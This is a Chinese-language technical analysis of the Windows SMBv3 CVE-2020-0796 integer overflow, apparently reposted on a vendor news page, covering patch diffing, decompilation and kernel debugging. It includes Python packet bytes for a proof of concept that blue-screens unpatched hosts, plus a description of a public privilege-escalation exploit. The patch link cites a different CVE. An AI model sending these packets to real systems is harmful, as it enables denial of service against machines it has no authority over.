您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關微軟SMBv3 ClientServer遠程代碼執行CVE-2020-0796漏洞的分析是怎么樣的,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
服務器消息塊(SMB),是一個網絡通信協議,用于提供共享訪問到文件,打印機和串行端口的節點之間的網絡上。它還提供了經過身份驗證的進程間通信機制。SMB的大多數用法涉及運行Microsoft Windows的計算機,在引入Active Directory之前被稱為“ Microsoft Windows網絡” 。相應的Windows服務是用于服務器組件的LAN Manager服務器和用于客戶端組件的LAN Manager工作站。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。除了在SMB3中添加的AES-128 CCM加密外,該版本還支持AES-128 GCM加密,并使用SHA-512哈希實現預認證完整性檢查。當使用SMB 2.x和更高版本連接到客戶端時,SMB 3.1.1還使安全協商成為必需。
CVE-2020-0796,微軟SMBv3 Client/Server遠程代碼執行漏洞。該漏洞存在于srv2.sys文件中,由于SMB沒有正確處理壓縮的數據包,在解壓數據包的時候使用客戶端傳過來的長度進行解壓時,并沒有檢查長度是否合法,最終導致整數溢出。
漏洞存在于srv2.sys文件中
該漏洞涉及到了多個函數:
Srv2DecompressMessageAsync
Srv2DecompressData
Smb2GetHonorCompressionAlgOrder
Smb2SelectCompressionAlgorithm
Smb2ValidateCompressionCapabilities
主要看一下SMB2 COMPRESSION_TRANSFORM_HEADER結構:
首先,說明了結構使用的場景:客戶端或服務器在發送壓縮消息時使用SMB2 COMPRESSION_TRANSFORM_HEADER。此可選標頭僅對SMB 3.1.1 Dialect有效。
對以上各字段做簡要說明:
字段 | 含義 |
---|---|
ProtocolId (4 bytes) | 協議標識符。該值必須設置為0x424D53FC,也以網絡順序表示為0xFC,“ S”,“ M”和“ B”。 |
OriginalCompressedSegmentSize (4 bytes) | 原始壓縮數據的大小(以字節為單位)。 |
CompressionAlgorithm (2 bytes) | 此字段務必包含CompressionAlgorithms字段中指定的用于壓縮SMB2消息的算法之一,“ NONE”除外。 |
Flags (2 bytes) | 必須為2個特定值之一 |
Offset/Length (4 bytes) | 如果在Flags字段中設置了SMB2_COMPRESSION_FLAG_CHAINED,則該字段必須解釋為長度,壓縮有效payload的長度(以字節為單位);否則,該字段必須解釋為偏移。從此結構的末尾到壓縮數據段開始的偏移量(以字節為單位)。 |
CompressionAlgorithms字段中指定的算法:
Flags字段可選的固定值:
Windows版本:1909,未安裝安全更新補丁(KB4551762)
配置內核調試(目標主機):管理員權限啟動powershell或cmd,執行如下命令:
bcdedit /set dbgtransport kdnet.dllbcdedit /dbgsettings NET HOSTIP:調試機IP PORT:50000bcdedit /debug on
結果如下:
調試機windbg配置:
3.1 補丁對比
首先進行安全更新前后的補丁對比:
根據已掌握信息,重點查看Svr2DecompressData函數:
可以很明顯看到添加了一個RtlULongAdd函數的調用,根據以往SMB的漏洞,新增該函數通常是進行某些數據運算然后進行邊界檢查。
3.2 IDA反編譯查看源代碼
srv2.sys文件拖入IDA,先觀察函數實現:
1. SMB首先調用srv2!Srv2ReceiveHandler函數接收數據包,并根據ProtocolId設置對應的處理函數:
如果判斷數據包中為壓縮的數據(ProtocolID = 0xfc4d5342),則調用處置函數--Srv2DecompressMessageAsync函數。
2. srv2!Srv2DecompressMessageAsync函數會繼續調用 Srv2DecompressData函數:
Srv2DecompressMessageAsync函數并不是實際處理壓縮數據的函數,而是繼續調用了Srv2DecompressData函數,跟進查看Srv2DecompressData函數:
在Srv2DecompressData函數中可以看到數據處理的部分:在進行buffer分配時,會調用SrvNetAllocateBuffer進行分配。但是在調用時,并未對OriginalCompressedSegmentSize和Offset/Length的長度進行任何檢查,對二者相加的和也未進行安全檢查。此處就存在一個整數溢出,如果二者的和為一個特別大的值,會超出內存存儲范圍,值會變成一個很小的值。
3. srv2!Srv2DecompressData函數調用SmbCompressionDecompress函數,進而調用nt!RtlDecompressBufferXpressLz函數進行實際的數據解壓過程。
nt!RtlDecompressBufferXpressLz函數位于ntoskrnl.exe中,該函數實際進行的處理就是:
由上面的代碼可以看到在進行數據解壓縮時,首先進行smb compress協議數據包的解析,獲取其中包含的需要解壓縮的數據的大小,并和之前通過SrvNetAllocateBuffer分配的buffer的OriginalCompressedSegmentSize值進行比較,確認其大小不大于OriginalCompressedSegmentSize,然后進行內存拷貝。若v21大于OriginalCompressedSegmentSize,則返回0xC0000242錯誤。因為在2中進行內存分配時沒有做長度檢查,所以如果傳入一個很大的OriginalCompressedSegmentSize值觸發整數溢出,此時v21就可以設置一個極大值,但可以通過對decompress size的判斷,最終調用qmemcpy拷貝一個極大的size導致緩沖區溢出。
4.1 SMB2通信流程
SMB2的通信流程如下圖所示:
SMB2協議定義的內容:
Protocol negotiation (SMB2 NEGOTIATE) //協議協商
User authentication (SMB2 SESSION_SETUP, SMB2 LOGOFF) //用戶認證
Share access (SMB2 TREE_CONNECT, SMB2 TREE_DISCONNECT) //共享訪問
File access (SMB2 CREATE, SMB2 CLOSE, SMB2 READ, SMB2 WRITE, SMB2 LOCK, SMB2 IOCTL, SMB2 QUERY_INFO, SMB2 SET_INFO, SMB2 FLUSH, SMB2 CANCEL) //文件訪問
Directory access (SMB2 QUERY_DIRECTORY, SMB2 CHANGE_NOTIFY) //目錄訪問
Volume access (SMB2 QUERY_INFO, SMB2 SET_INFO) //卷訪問
Cache coherency (SMB2 OPLOCK_BREAK) //緩存一致性
Simple messaging (SMB2 ECHO) //消息傳遞
SMB2.1新增:
Protocol Negotiation (SMB2 NEGOTIATE)
Share Access (SMB2 TREE_CONNECT)
File Access (SMB2 CREATE, SMB2 WRITE)
Cache Coherency (SMB2 OPLOCK_BREAK)
Hash Retrieval (SMB2 IOCTL) //哈希檢索
SMB3.x新增:
Protocol Negotiation and secure dialect validation (SMB2 NEGOTIATE, SMB2 IOCTL) //dialect驗證
Share Access (SMB2 TREE_CONNECT)
File Access (SMB2 CREATE, SMB2 READ, SMB2 WRITE)
Hash Retrieval (SMB2 IOCTL)
Encryption (SMB2 TRANSFORM_HEADER)
SMB3.1.1新增(1903引入):
Compression (SMB2 COMPRESSION_TRANSFORM_HEADER) //支持壓縮數據
4.2 連接建立過程
首先是NEGOTIATE過程,client端發送一個NEGOTIATE請求,server端回復一個NEGOTIATE響應。
參考SMB2通信pcap和官方協議文檔構造數據包
# NetBios Session Service Negotiate_pkt=b'\x00' # Message Type Negotiate_pkt+=b'\x00\x00\xe6' # Length # SMB2 Header Negotiate_pkt+=b'\xfe\x53\x4d\x42' # ProtocolId Negotiate_pkt+=b'\x40\x00' # StructureSize Negotiate_pkt+=b'\x00\x00' # CreditCharge Negotiate_pkt+=b'\x00\x00' # ChannelSequence Negotiate_pkt+=b'\x00\x00' # Reserved Negotiate_pkt+=b'\x00\x00' # Command Negotiate_pkt+=b'\x01\x00' # CreditRequest Negotiate_pkt+=b'\x00\x00\x00\x00' # Flags Negotiate_pkt+=b'\x00\x00\x00\x00' # NextCommand(Chain Offset) Negotiate_pkt+=b'\x01\x00\x00\x00\x00\x00\x00\x00' # MessageId Negotiate_pkt+=b'\xff\xfe\x00\x00' # ProcessId Negotiate_pkt+=b'\x00\x00\x00\x00' # TreeId Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00\x00\x00' # SessionId Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # Signature # Negotiate Protocol Request Negotiate_pkt+=b'\x24\x00' # StructureSize Negotiate_pkt+=b'\x05\x00' # DialectCount Negotiate_pkt+=b'\x01\x00' # SecurityMode Negotiate_pkt+=b'\x00\x00' # Reserved Negotiate_pkt+=b'\x40\x00\x00\x00' # Capabilities Negotiate_pkt+=b'\xa2\x8e\xf8\x84' #ClientGuid Negotiate_pkt+=b'\xe6\x65\xea\x11' Negotiate_pkt+=b'\xb4\xc6\x00\x1c' Negotiate_pkt+=b'\x42\xbf\x6a\x9c' Negotiate_pkt+=b'\x70\x00\x00\x00' # NegotiateContextOffset Negotiate_pkt+=b'\x03\x00' # NegotiateContextCount Negotiate_pkt+=b'\x00\x00' # Reserved2 Negotiate_pkt+=b'\x02\x02' # Dialect: SMB 2.0.2 Negotiate_pkt+=b'\x10\x02' # Dialect: SMB 2.1 Negotiate_pkt+=b'\x00\x03' # Dialect: SMB 3.0 Negotiate_pkt+=b'\x02\x03' # Dialect: SMB 3.0.2 Negotiate_pkt+=b'\x11\x03' # Dialect: SMB 3.1.1 Negotiate_pkt+=b'\x00\x00' #Negotiate Context: SMB2_PREAUTH_INTEGRITY_CAPABILITIES Negotiate_pkt+=b'\x01\x00' # Type Negotiate_pkt+=b'\x26\x00' # DataLength Negotiate_pkt+=b'\x00\x00\x00\x00' # Reserved Negotiate_pkt+=b'\x01\x00' # HashAlgorithmCount Negotiate_pkt+=b'\x20\x00' # SaltLength Negotiate_pkt+=b'\x01\x00' # HashAlgorithm Negotiate_pkt+=b'\xcf\xa4\x93\xd0' # Salt Negotiate_pkt+=b'\xf3\xd1\x41\x8c' Negotiate_pkt+=b'\x1a\xcb\x36\x4d' Negotiate_pkt+=b'\x9f\x77\x27\x6d' Negotiate_pkt+=b'\x72\x80\x2b\xf4' Negotiate_pkt+=b'\x71\x94\x64\x99' Negotiate_pkt+=b'\xb3\x91\x4b\x7f' Negotiate_pkt+=b'\xf8\x92\x47\xe2' Negotiate_pkt+=b'\x00\x00' #Negotiate Context SMB2_COMPRESSION_CAPABILITIES Negotiate_pkt+=b'\x03\x00' # Type Negotiate_pkt+=b'\x0e\x00' # DataLength Negotiate_pkt+=b'\x00\x00\x00\x00' # Reserved Negotiate_pkt+=b'\x01\x00' # CompressionAlgorithmCount Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00 Negotiate_pkt+=b'\x02\x00' # CompressionAlgorithmId:LZ77
(備注:我的測試機抓去的流量包中有4個NegotiateContext,為了保證PoC的通用性,刪除掉其中兩個與我們關系不大的NegotiateContext,所以最后使用2個NegotiateContext。注意,刪除后需要修改前面的數據長度。)
根據官方文檔中構造SMB2 COMPRESSION_TRANSFORM_HEADER:
根據前面的數據結構,前面幾個字段正常構造,因為Flags分為兩種情況:FLAG_NONE和FLAG_CHAINED,為簡單起見后面我們選用FLAG_NONE。而對于Offset/Length字段,當選用FLAG_NONE時該處四字節代表offset,offset為從offset所占4字節結束到后面compressed data起始的位置偏移量;當選用FLAG_CHAINED時該處四字節代表length,length為后面compressed payload的大小。
根據COMPRESSION_TRANSFORM_HEADER的結構,初始構造數據包如下:
# NetBios Smb2_crash_pkt=b'\x00' # Message Type Smb2_crash_pkt+=b'\x00\x00\x20' # Length # SMB2 Compression Transform Header Smb2_crash_pkt+=b'\xfc\x53\x4d\x42' # ProtocolId Smb2_crash_pkt+=b'\x10\x00\x00\x00' # OriginalCompressedSegmentSize Smb2_crash_pkt+=b'\x02\x00' # CompressionAlgorithm LZ77 Smb2_crash_pkt+=b'\x00\x00' # Flags Smb2_crash_pkt+=b'\x01\x00\x00\x00' # Offset # Compressed SMB3 Data #因為我們此時不知道算法內部的數據處理過程,所以先隨意給壓縮數據進行調試 Smb2_crash_pkt+=b'\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41'
4.3 WinDbg動態調試
1. 首先在srv2!Srv2DecompressData函數下斷點bmsrv2!Srv2DecompressData` ,并發送前面構造的數據包:
斷點命中,系統停在srv2!Srv2DecompressData函數。
2. 單步跟蹤,來到srv2!Srv2DecompressData + 0x68地址處:
在mov rax, qword ptr [rsp+30]指令處,查看rsp+30中的內容,發現為構造的壓縮數據頭部。
3. 繼續跟蹤,來到調用SrvnetAllocateBuffer指令處:
前面IDA反匯編知道,該函數主要用于buffer內存分配。rcx寄存器中存放了該函數參數。此處經過靜態分析和多次調試發現,rcx中存放的值恰好為 OriginalCompressedSegmentSize與Offset之和。結合補丁添加的對OriginalCompressedSegmentSize+Offset的檢查,可以構想漏洞是由該和檢查不足導致。
4. 跟進,分析SmbCompressionDecompress函數:
該函數中,rcx為第一個參數,指定了使用的壓縮算法的類型,rdx為第二個參數,指定了壓縮數據存放的位置,讀取rdx中的值可以看到構造的壓縮數據。如果要對該函數進行深入分析,需要了解壓縮算法的具體實現,但目前對LZ77算法的信息不是十分完善,暫未進行重寫。
至此,漏洞原理已分析清楚,只要構造OriginalCompressedSegmentSize與Offset之和能產生整數溢出就有可能觸發漏洞。
修改前面PoC代碼中OriginalCompressedSegmentSize與Offset的任意一個字段值為0xffffffff,同時另外一個字段值非0,發送數據包進行驗證:
成功觸發漏洞,造成目標主機藍屏,PoC測試成功。
2020年3月30日,互聯網中出現公開的本地權限提取利用EXP,泄漏的EXP為exe文件,直接在目標主機中進行運行即可實現本地權限提取,運行結果:
而查看該LPE EXP的關鍵源代碼:
該EXP主要是利用了往’winlogon.exe’中寫入shellcode的方式來實現權限提升的目的,而shellcode的位置和指針通過利用SMB漏洞進行部署。
對更新后的srv2.sys文件進行IDA反編譯可以發現,主要是對Srv2DecompressData函數進行了更新,添加了一些數據長度的檢查,與補丁對比信息吻合。
使用兩個不同的PoC造成的藍屏的流量截圖如下:
第一種,設置Offset/Length字段為ffffffff:
第二種,設置OriginalCompressedSegmentSize字段為ffffffff:
熟悉了漏洞原理后,可以輕松在流量測進行防御,只需判斷兩個字段的值的和是否大于0xffffffff觸發整數溢出即可。
利用此漏洞,遠程未經身份驗證的攻擊者通過使用SMBv3連接到易受攻擊的Windows計算機,或通過使易受攻擊的Windows系統啟動與SMBv3服務器的客戶端連接,就可以在易受攻擊的系統上以SYSTEM特權執行任意代碼。
目前互聯網中已出現公開的EXP,微軟官方已經發布了針對此漏洞的安全補丁。經千里目實驗室安全研究員分析,此漏洞危害較大,且漏洞信息已快速傳播,建議用戶盡快安裝安全更新補丁。
目前受影響的Microsoft版本:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
該漏洞微軟目前已發布針對此漏洞的安全更新補丁,千里目實驗室建議廣大用戶及時確認所用Windows版本,并下載對應版本安全補丁進行更新:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618
看完上述內容,你們對微軟SMBv3 ClientServer遠程代碼執行CVE-2020-0796漏洞的分析是怎么樣的有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。